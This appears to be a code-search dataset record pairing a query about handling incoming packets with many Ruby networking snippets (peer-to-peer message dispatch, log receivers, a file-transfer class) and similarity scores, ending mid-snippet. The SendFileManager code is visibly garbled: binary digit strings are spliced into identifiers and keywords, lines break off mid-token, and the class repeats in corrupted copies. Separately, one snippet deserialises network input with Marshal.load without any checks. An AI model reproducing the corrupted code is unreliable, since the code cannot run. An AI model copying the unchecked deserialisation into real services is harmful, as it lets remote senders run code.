Marshal.load(text)\n\t\t\t\tmsg_type = arguments.shift\n\t\t\t\t\n\t\t\t\tputs \"Received msg: #{msg_type}, #{arguments} from remote #{sender}\"\n\n\t\t\t\tif msg_type == \"GET\"\n\t\t\t\t\tkey, port = arguments\n\t\t\t\t\tget(key.to_i, sender[3], port)\n\t\t\t\telsif msg_type == \"PUT\"\n\t\t\t\t\tkey, value = arguments\n\t\t\t\t\tput(key.to_i, value)\n\t\t\t\telsif msg_type == \"PING\"\n\t\t\t\t\tnode = arguments.first\n\t\t\t\t\tsend_message [\"OK\"], 0, node.host, node.port\n\t\t\t\telsif msg_type == \"OK\"\n\t\t\t\t\t@waiting = false\n\t\t\t\telsif msg_type == \"NEW_NODE\"\n\t\t\t\t\tnew_node_info = arguments.first\n\t\t\t\t\tnew_network_node(new_node_info)\n\t\t\t\telsif msg_type == \"ADD_NODE\"\n\t\t\t\t\tinfo = arguments.first\n\t\t\t\t\t@neighbour_nodes << info\n\t\t\t\telsif msg_type == \"DROP_NODE\"\n\t\t\t\t\tinfo = arguments\n\t\t\t\t\tto_delete = @neighbour_nodes.select { |n| n.host == info.host and n.port == info.port}\n\t\t\t\t\t@neighbour_nodes - to_delete\n\t\t\t\telsif msg_type == \"RESOURCE_TABLE\"\n\t\t\t\t\t@resource_table = arguments.first\n\t\t\t\telsif msg_type == \"ADD_RESOURCE\"\n\t\t\t\t\tresource = arguments.first\n\t\t\t\t\t@resource_table.merge!(resource)\n\t\t\t\t\tputs \"#{resource.to_a}\"\n\t\t\t\t\tputs \"#{request_queue}\"\n\t\t\t\t\tresolve_queue(resource.to_a[0][0])\n\t\t\t\tend \n\t\tend\n\tend", "def recv_nonblock(*rest) end", "def connection_completed\n# @keepalive = EM::PeriodicTimer.new(60) { send_data ' ' }\n start\n end", "def dispatch_incoming_packets(raise_disconnect_errors: T.unsafe(nil)); end", "def closed?\n !@socket || @socket.closed?\n end", "def disconnecting?; connection_state == :disconnecting end", "def receive_data(data)\n (@buffer ||= BufferedTokenizer.new(delimiter = \"__1_EE\")).extract(data).each do |line|\n #strip newline at beginning of line\n if line.match(/^\\W{1}./)\n line = line[1..line.length-1]\n end\n if line.valid?\n log_entry(line)\n send_data \"0\"\n else\n port, ip = Socket.unpack_sockaddr_in(get_peername)\n host = Socket.getaddrinfo(ip, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME)[0][2]\n ActiveRecord::Base.logger.error \"Dropped log entry from #{host} - checksum invalid\"\n send_data \"99\"\n end\n end\n end", "def unaway\n @socket << \"AWAY\"\n end", "def nodelay=(flag)\n ensure_state :connected\n @socket.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, flag ? 1 : 0)\n end", "def stop\n return false if !running?\n\n log \"Stopping #{self.class} on port #{@rtp_port}...\"\n stop_listener\n log \"listening? #{listening?}\"\n\n stop_packet_writer\n log \"writing packets? #{writing_packets?}\"\n log \"running? #{running?}\"\n\n !running?\n end", "def pullQOTD(qotdServer)\nbegin\n \n $message = \"\"\n con = TCPSocket.open(qotdServer, 17)\n while buffer = con.gets\n $message = $message + buffer.strip + \" \"\n end\n rescue SocketError => e\n con = nil\n puts \"The error is: \" << e.message\n \n rescue Interrupt\n puts \"\\nTerminating script...\"\nend\nend", "def eaddrinuse?() EADDRINUSE == @error_code; end", "def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if sd\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @h000000000000000000000000000000000000000000010111000110111101eader_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @hea\n def send_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if file.eof?\n package_header = file.eof? ? header(file.size, \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n el000000000000000000000000000000000000000000010111000110111101se\n send_file(file_name, file_size)\n return false\n end \n end\n \n def wait_sd message OOB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name,en(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each000000000000000000000000000000000000000000010111000110111101 do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = package_header + package_data\n send_size += @address? @socket.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message =s = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_positi000000010111000110111101ackages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.send(package_header + package_data, 0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n 000000010111000110111101'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signaze\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end\n\n def send000000000000000000000000000000000000000000010111000110111101_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if fi \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfull_name, file_size)\n return false\n end \n end\n \n def wait_signal_int send_size\n Signal.trap(:INT) do\n puts 'Send message O000000000000000000000000000000000000000000010111000110111101OB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name, file_position, numbers_downloaded_packages=[]\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_ file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header000000000000000000000000000000000000000000010111000110111101 = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = packet.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_position, numbers_downloaded_packages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 000000000000000000000000000000000000000000010111000110111101 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = firs_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.sende_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downl000000000000000000000000000000000000000000010111000110111101oaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend", "def accept(io)\n socket = TCPSocket.new(@ip, @port)\n total = 0\n\n while buf = socket.readpartial(8192)\n total += buf.bytesize\n\n begin\n socket.write_nonblock [total].pack(\"N\")\n rescue Errno::EWOULDBLOCK, Errno::AGAIN\n # Nobody cares about ACKs, really. And if the sender\n # couldn't receive it at this point, they probably don't\n # care, either.\n end\n io << buf\n\n # Break here in case the sender doesn't close the\n # connection on the final ACK.\n break if total == @size\n end\n\n socket.close\n true\n rescue EOFError\n false\n end" ]
[ "0.66795516", "0.6243401", "0.6168989", "0.60164624", "0.6008139", "0.5950736", "0.58950216", "0.58724046", "0.58172077", "0.58134234", "0.57394034", "0.5680634", "0.5666197", "0.56624615", "0.5659669", "0.56551105", "0.56325483", "0.56307197", "0.56221354", "0.56221354", "0.560593", "0.558512", "0.55675036", "0.5554435", "0.55107415", "0.55103624", "0.54963076", "0.54943806", "0.54804075", "0.54804075", "0.54804075", "0.54717976", "0.54627806", "0.5443887", "0.54194635", "0.53990144", "0.53962797", "0.5392056", "0.538917", "0.53886074", "0.5377612", "0.53757983", "0.53757983", "0.53757983", "0.53757983", "0.53757983", "0.53668463", "0.53639007", "0.5358209", "0.5345822", "0.5345756", "0.53417206", "0.53417206", "0.5340253", "0.53349423", "0.5334773", "0.53324103", "0.5327645", "0.53203756", "0.5318261", "0.5306559", "0.5303508", "0.5293242", "0.52905697", "0.5281051", "0.52788585", "0.5277581", "0.5257271", "0.525507", "0.5246037", "0.5245371", "0.5243963", "0.5243542", "0.5243032", "0.5243004", "0.52425617", "0.5237042", "0.5236459", "0.52309626", "0.5230522", "0.5228464", "0.5227565", "0.5221582", "0.5216369", "0.5215606", "0.52154386", "0.5205831", "0.51997715", "0.5192975", "0.51834345", "0.51824695", "0.5179702", "0.517837", "0.517615", "0.5175933", "0.5162965", "0.51467526", "0.51420146", "0.51410407", "0.51389503" ]
0.5425003
34
Handle an incoming packet should be called by the child classes
def packet(pkt) if ((pkt.ip_mf? or pkt.ip_off > 0 )) $stderr.puts "*** Fragmented packet #{@event_collector.pkt_count}" @event_collector.send(:ip_fragmented_packet) do { :src_ip => pkt.src, :dst_ip => pkt.dst, :ip_id => pkt.ip_id, :ip_proto => pkt.ip_proto, :ip_off => pkt.ip_off, :ip_body => pkt.ip_data } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def processPacket(packet)\n\t\tbegin\n\t\t\thandle_packet(USAR::Packet.new(packet))\n\t\trescue Exception => e\n\t\t\t# Must keep these out of the Iridium handler\n\t\t\t$stderr.puts(\"While dispatching events: #{e.message}\")\n\t\t\te.backtrace.each { |line| $stderr.puts(\" at #{line}\") }\n\t\tend\n\tend", "def handle_packet(packet)\n\t\t\[email protected] { |listener| listener.handle_packet(packet) }\n\t\tend", "def handle_packet(packet)\n\t\t\t# Unlike Java, null pointer == won't raise error\n\t\t\tif packet[:Name] == @name\n\t\t\t\tif packet.type == 'ASTA'\n\t\t\t\t\t# Status message\n\t\t\t\t\tlink, value = 0, packet[:Value]\n\t\t\t\t\tbegin\n\t\t\t\t\t\t@joints[link] = value\n\t\t\t\t\t\t# Bizarre but true: how USARPacket encodes duplicate names\n\t\t\t\t\t\tvalue, link = packet[\"Value_#{link}\"], link + 1\n\t\t\t\t\tend while !packet[\"Link_#{link - 1}\"].nil?\n\t\t\t\telsif packet.type == 'CONF' && packet[:Type] == 'Actuator'\n\t\t\t\t\t@conf = @conf || packet.to_h\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def handle(pkt)\n # puts \"Received packet, current state: #{@state}, buffer length: #{@recv_buffer.size}\"\n # puts \"tcp_flags: #{pkt.tcp_flags.inspect}\"\n\n @client_next_seq = pkt.tcp_seq + 1\n @server_ack_seq = pkt.tcp_ack\n\n if pkt.tcp_flags.rst == 1\n @state = CLOSED_STATE\n elsif pkt.tcp_flags.syn == 1\n if @state == SYN_SENT_STATE\n @state = ESTABLISHED_STATE\n send_ack\n end\n elsif pkt.tcp_flags.fin == 1\n if @state == ESTABLISHED_STATE\n @state = LAST_ACK_STATE\n send_ack([:fin])\n elsif @state == FIN_WAIT_1_STATE\n @state = CLOSED_STATE\n send_ack\n end\n elsif pkt.payload.length > 0\n @recv_buffer += pkt.payload\n send_ack\n elsif pkt.tcp_flags.ack == 1\n if @state == LAST_ACK_STATE\n @state = CLOSED_STATE\n end\n end\n\n @state\n end", "def packet(pkt)\n super(pkt)\n \n # Only process packets with length right now\n return nil unless pkt.udp_data.length > 0\n \n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n state = identify_state(pkt, :udp, false)\n state.udp_init(pkt, @event_collector) unless state.layer_4\n @protos.parse(pkt.udp_data, state, dir)\n end", "def receive_any(packet)\n RightLinkLog.debug(\"RECV #{packet.to_s}\")\n case packet\n when Advertise\n RightLinkLog.info(\"RECV #{packet.to_s}\") unless RightLinkLog.level == :debug\n advertise_services\n when Request, Push\n RightLinkLog.info(\"RECV #{packet.to_s([:from, :tags])}\") unless RightLinkLog.level == :debug\n @dispatcher.dispatch(packet)\n when Result\n RightLinkLog.info(\"RECV #{packet.to_s([])}\") unless RightLinkLog.level == :debug\n @mapper_proxy.handle_result(packet)\n else\n RightLinkLog.error(\"Agent #{@identity} received invalid packet: #{packet.to_s}\")\n end\n true\n end", "def handle_heartbeat(packet)\n end", "def process(packet)\n @init.call(Net::SSH::Packet.new(packet.to_s)) if @init\n type = packet.read_byte\n raise \"expected #{@type}, but got #{type}\" if @type != type\n\n @data.zip(types).each do |expected, _type|\n _type ||= case expected\n when nil then break\n when Numeric then :long\n when String then :string\n when TrueClass, FalseClass then :bool\n end\n\n actual = packet.send(\"read_#{_type}\")\n next if expected.nil?\n raise \"expected #{_type} #{expected.inspect} but got #{actual.inspect}\" unless expected == actual\n end\n end", "def packet(pkt)\n super(pkt)\n ret = nil\n\n # Let's ignore (for now) packets that are simply ACKs and nothing else\n return nil unless pkt.tcp_syn? or pkt.tcp_fin? or pkt.tcp_rst? or\n pkt.tcp_data_len > 0\n \n # Should we be raising a STREAM event?\n if pkt.tcp_data_len > 0 and @event_collector.stream_capture\n @event_collector.stream_capture.each do |sc|\n if (sc[0].nil? or sc[0] == pkt.src.to_i) and # source IP\n (sc[2].nil? or sc[2] == pkt.dst.to_i) and # destination IP\n (sc[1].nil? or sc[1] == pkt.sport) and # source port\n (sc[3].nil? or sc[3] == pkt.dport) # destination port\n @event_collector.send(sc[4]) do\n state = identify_state(pkt, :tcp, false)\n { :content => pkt.tcp_data, :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport }\n end\n end # of if match\n end # of each stream_capture\n end # of if stream event\n\n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n make_state = !(pkt.tcp_fin? or pkt.tcp_rst?)\n state = identify_state(pkt, :tcp, make_state)\n state.ack_seen = pkt.tcp_ack? unless pkt.tcp_rst?\n \n # Check to see if we need to prune some state objects\n if pkt.time.to_i > @next_prune\n @next_prune = pkt.time.to_i + 60 # one minute prune interval\n syn_timeout = pkt.time - @event_collector.syn_timeout_delay\n stream_timeout = pkt.time - @event_collector.stream_timeout_delay\n @states.each do |_,chk|\n if chk.last_seen < syn_timeout\n # Is this state only a syn so far?\n if not chk.ack_seen\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => true, :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i),\n :src_port => chk.sport, :dst_port => chk.dport, :rst => false }\n end\n delete_state(chk)\n \n # Okay, there's been some traffic. Has a full timeout occured?\n elsif chk.last_seen < stream_timeout\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!chk.syn_seen, :timeout => true,\n :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i), :rst => false,\n :dst_port => chk.dport, :src_port => chk.sport, :sync => false,\n :fin => false }\n end\n delete_state(chk)\n end # of if stream_timeout\n end # of syn_timeout\n end\n end\n\n # Is this state brand new? If so, add some TCP-specific information\n state.tcp_init(pkt, @event_collector) unless state.layer_4\n\n # Let's make sure the sequence numbers are what we expect\n ret = validate_sequence_numbers(pkt, state, dir) if state.app_state\n return nil unless ret\n\n # If this is a connection we've seen in its entirety, hand it up to\n # the next stage - the protocol parser (layer 7)\n if state.app_state and pkt.tcp_data and pkt.tcp_data.length > 0\n @protos.parse(pkt.tcp_data, state, dir)\n end\n\n # Is this a FIN or a RST? Should we close out this state?\n if pkt.tcp_fin?\n state.fin_up = true if dir == :up\n state.fin_down = true if dir == :down\n @protos.conclude(state, dir) # Signal the end of this direction\n end\n if pkt.tcp_rst? or (state.fin_up and state.fin_down)\n if not state.ack_seen # Explicit connection rejection\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => false, :src_ip => @protos.str_ip(pkt.dst.to_i),\n :dst_ip => @protos.str_ip(pkt.src.to_i),\n :src_port => pkt.dport, :dst_port => pkt.sport, :rst => true }\n end\n else # regular connection termination\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport, :rst => pkt.tcp_rst?, :sync => false,\n :fin => (state.fin_up and state.fin_down), :timeout => false }\n end\n @protos.conclude(state, :up) # Signal the end of the stream in\n @protos.conclude(state, :down) # both directions.\n end\n delete_state(state)\n end\n\n # Finally, if we have a queued packet to inject, inject it now. This must\n # be done last!\n packet(ret) if ret.class <= ::Pcap::TCPPacket\n true\n end", "def packet_in(packet)\n if @promiscuous || packet.to_mac == @mac_address || packet.to_mac == MacAddress::BROADCAST\n Log.puts \"#{@host.name}/#{@name} got #{packet}\" if @trace\n @host.handle_packet(self, packet)\n end\n end", "def handle_message(message,sock)\n if message.nil? or !message.respond_to?(:type)\n Routing.log {|logger| logger.error(self.class) {\"Not a correct message: #{message.to_s}.\"}}\n return\n end\n\n case message.type\n when Protocol::MessageType::PING\n on_ping(message,sock)\n when Protocol::MessageType::PONG\n on_pong(message,sock)\n when Protocol::MessageType::REQUEST_SUPERNODES\n on_request_supernodes(message,sock)\n when Protocol::MessageType::RESPONSE_SUPERNODES\n on_response_supernodes(message,sock)\n when Protocol::MessageType::PROMOTION_ADS\n on_supernode_promotion(message,sock)\n else\n Routing.log{|logger| logger.error(self.class) {\"Unknown message type: #{message.to_s}.\"}}\n end\n end", "def handlePDUReceived(pduPacket)\n\n Utils_visiona.verifyInput(CFDP::PDUPacket, pduPacket.class)\n writeLog(\"Received #{pduPacket.pduPayload.class}: #{pduPacket.pack.to_s}\")\n\n replyWithAck?(pduPacket)\n\n if @status.eql?(\"FINISHED\")\n\n CFDP::CFDP_Indication(\"Transaction #{@ID} already finished. Ignoring.\")\n return\n end\n\n if isclass2?\n\n # this is a class 2 active transaction, verify pdu class\n case pduPacket.pduPayload\n when CFDP::PDUEOF\n\n unless haspdueof?\n\n # downlink situation:\n if isdownlink?\n\n # Store EOF\n update(pduPacket)\n\n # downlink situation. (class 2 transaction active, received EOF. must check for condition codes\n # first, and take action based on them.\n case pduPacket.pduPayload.conditionCode\n when 0\n\n # no error condition, verify file completude\n nakPdu = verifyMissingPDU\n if nakPdu.nil?\n finish_downlink_transaction\n else\n CFDP::CFDPEngine.instance.insertIntoBuffer(nakPdu)\n CFDP::CFDP_Indication(\"File incomplete. Generated NAKPDU and waiting for response.\")\n writeLog(\"File incomplete. Generated NAKPDU #{nakPdu.pack.to_s}. Waiting for response.\")\n insertTimer(\"NAK\")\n end\n else\n # it's an error, cancel transaction and indicate the user\n CFDP::CFDP_Indication(\"Transaction #{@ID} cancelled due to <#{CFDP.conditionCodeToStr(pduPacket.pduPayload.conditionCode)}>.\")\n writeLog(\"Transaction #{@ID} cancelled due to <#{CFDP.conditionCodeToStr(pduPacket.pduPayload.conditionCode)}>.\")\n CFDP::HKPacket.instance.updateVar(pduPacket.pduPayload.conditionCode)\n finish(\"FAILED\")\n end\n end\n end\n when CFDP::PDUMetadata, CFDP::PDUFileData, CFDP::PDUNAK\n\n update(pduPacket)\n when CFDP::PDUFinished\n\n # uplink situation:\n if isuplink?\n\n # Clean buffer\n writeLog(\"Cleaning buffer from transaction #{@ID}\")\n CFDP::CFDPEngine.instance.clean_buffer(@ID)\n else\n # downlink situation (should not receive a FINISHED pdu, error event maybe?)\n CFDP::CFDPEngine.instance.writeLog(0, \"Received FINISHED PDU in downlink event.\")\n end\n when CFDP::PDUACK\n # check for directive code of PDUAck\n case pduPacket.pduPayload.directiveCode\n when 4\n # received an ACK EOF, so disable timer.\n disableTimer(\"EOF\")\n when 5\n # received an ACK FINISHED. Disable timers\n disableTimer(\"FINISHED\")\n finish(\"SUCCESS\")\n else\n CFDP::CFDPEngine.instance.writeLog(0, \"ACK's directive code #{pduPacket.pduPayload.directiveCode} error.\")\n end\n else\n\n CFDP::CFDPEngine.instance.writeLog(0, \"Class #{pduPacket.pduPayload.class} not implemented\")\n end\n elsif isclass1?\n\n # this is a class 1 transaction\n case pduPacket.pduPayload\n when CFDP::PDUEOF, CFDP::PDUFileData\n\n update(pduPacket)\n\n unless pduPacket.pduPayload.is_a?(CFDP::PDUFileData)\n\n # received a class 1 EOF downlink. Must check condition code\n # and finish transactions\n (conditionCode = create_file) if pduPacket.pduPayload.conditionCode == 0\n\n # remove transaction anyway because we received EOF class 1.\n CFDP::CFDP_Indication (\"Transaction #{@ID} finished with <#{CFDP.conditionCodeToStr(conditionCode)}> condition.\")\n writeLog(\"Transaction #{@ID} finished with <#{CFDP.conditionCodeToStr(conditionCode)}> condition.\")\n CFDP::HKPacket.instance.updateVar(conditionCode)\n finish(conditionCode==0 ? \"SUCCESS\" : \"FAILED\")\n end\n else\n\n CFDP::CFDPEngine.instance.writeLog(0, \"Received #{pduPacket.pduPayload.class} on a class 1 transaction. Don't know how to handle it.\")\n end\n end\n end", "def receive_packet(num, packet)\n # special case errors until I waste the time to scan them to see if they're\n # 4.0 or 4.1 packets. XXX\n if packet[0].ord == 0xFF\n self.error = packet[3..-1]\n self.state = :error\n end\n\n def packet.eof?; self[0].ord == 0xfe; end\n def packet.ok?; self[0].ord == 0x00; end\n\n case self.state\n when :preauth\n handle_preauth(num, Packets::Greeting.new(packet))\n when :auth_sent\n handle_postauth(num, Packets::OK.new(packet))\n\n # queries on a MySQL connection are synchronous. The response\n # packets are:\n # - ResultSet packet (which basically just says \"OK\")\n # - Field packets (describing columns)\n # - EOF (no more fields)\n # - RowData packets (describing a row)\n # - EOF (no more rows)\n\n when :ready\n inject\n when :awaiting_result_set\n # XXX just ignore for now\n self.state = :awaiting_fields\n when :awaiting_fields\n if packet.eof?\n self.state = :awaiting_rows\n else\n handle_field(num, Packets::Field.new(packet))\n end\n when :awaiting_rows\n if packet.eof?\n @cb.call(@fields, @rows)\n @fields = nil\n @rows = nil\n ready!\n else\n # rows have a variable number of variable-length strings, and no other\n # structure, so just hand the raw data off.\n handle_row(num, packet)\n end\n when :awaiting_statement_handle\n if packet.ok?\n handle_statement_handle(num, Packets::PrepareOk.new(packet))\n else\n # XXX handle this case\n @state = :error\n end\n when :awaiting_prepared_params\n if packet.eof?\n @state = :waiting_prepared_fields\n else\n # I cannot for the life of me figure out what I'm supposed\n # to do with these --- using mysql-ruby, I can't get them\n # to change based on their type. Why does MySQL send them?\n # I figured it'd be to let me enforce types on the params.\n end\n when :awaiting_prepared_fields\n if packet.eof?\n @cb.call(@stmt)\n @cb, @stmt, @expect_params, @expect_columns = nil, nil, nil, nil\n ready!\n else\n # I guess I could cache these? But why bother? MySQL is just\n # going to send them again. This protocol confuses and infuriates us!\n end\n when :error\n pp self.error\n else\n raise \"don't know how to handle\"\n end\n end", "def on_packet(client_id, data, channel)\n handle_connection(client_id, data, channel)\n end", "def read_packet; end", "def received\n end", "def handle_readable_io_event( event )\n\t\tself.log.debug \"Got socket read event: %p\" % [ event ]\n\t\tmsg = event.socket.receive\n\t\ttype, data, header = Assemblage::Protocol.decode( msg )\n\n\t\tunless HANDLED_MESSAGE_TYPES.include?( type )\n\t\t\tself.log.error \"Got unhandled message type %p\" % [ type ]\n\t\t\traise \"Invalid action %p!\" % [ type ]\n\t\tend\n\n\t\tmethod_name = \"on_%s_message\" % [ type ]\n\t\thandler = self.method( method_name )\n\t\thandler.call( data, header )\n\tend", "def process_packet(packet)\n if packet.class == MQTT::Packet::Connack and packet.return_code == 0\n @state = :connected\n end\n\n @gateway_handler.relay_from_server(self, packet)\n end", "def handle_request(raw_packet, address, now: Time.now.to_i)\n msg = Message.decode_message(raw_packet)\n msg.validate\n if msg.packet.expiration < now\n trace(\"ignore expired message, sender: #{msg.sender}, expired_at: #{msg.packet.expiration}\")\n return\n end\n raw_node_id = msg.sender.to_bytes\n case msg.packet_type\n when Ping::CODE\n @kad_table.update(raw_node_id)\n from = msg.packet.from\n from_ip = IPAddr.new(from.sender_ip, Socket::AF_INET)\n from_udp_port = from.sender_udp_port\n from_tcp_port = from.sender_tcp_port\n from_address = Address.new(\n ip: from_ip,\n udp_port: from_udp_port, \n tcp_port: from_tcp_port)\n debug(\"receive ping msg from #{from_address.inspect}\")\n # respond pong\n pong = Pong.new(to: To.from_host_port(from_ip, from_udp_port), \n ping_hash: msg.message_hash, \n expiration: Time.now.to_i + MESSAGE_EXPIRATION_IN)\n pong_msg = Message.pack(pong, private_key: @private_key).encode_message\n send_msg(pong_msg, from_ip.to_s, from_udp_port)\n @peer_store.add_node(Node.new(raw_node_id: raw_node_id, addresses: [from_address]))\n when Pong::CODE\n # check pong\n if @peer_store.has_ping?(raw_node_id, msg.packet.ping_hash)\n # update peer last seen\n @peer_store.update_last_seen(msg.sender.to_bytes)\n else\n @peer_store.ban_peer(msg.sender.to_bytes)\n end\n when FindNode::CODE\n unless @peer_store.has_seen?(raw_node_id)\n # consider add to denylist\n return\n end\n nodes = find_neighbours(msg.packet.target, 20).map do |raw_node_id, addr|\n Neighbors::Node.new(ip: addr.ip.to_i, udp_port: addr.udp_port, tcp_port: addr.tcp_port, node_id: raw_node_id)\n end\n neighbors = Neighbors.new(nodes: nodes, expiration: Time.now.to_i + MESSAGE_EXPIRATION_IN)\n send_msg_to_node(Message.pack(neighbors, private_key: @private_key).encode_message, raw_node_id)\n @peer_store.update_last_seen(raw_node_id)\n when Neighbors::CODE\n unless @peer_store.has_seen?(raw_node_id)\n # consider add to denylist\n return\n end\n debug(\"receive neighours #{msg.packet.nodes.size} from #{raw_node_id.to_hex}\")\n msg.packet.nodes.each do |node|\n raw_id = node.node_id\n next if raw_id == raw_local_node_id\n debug(\"receive neighour 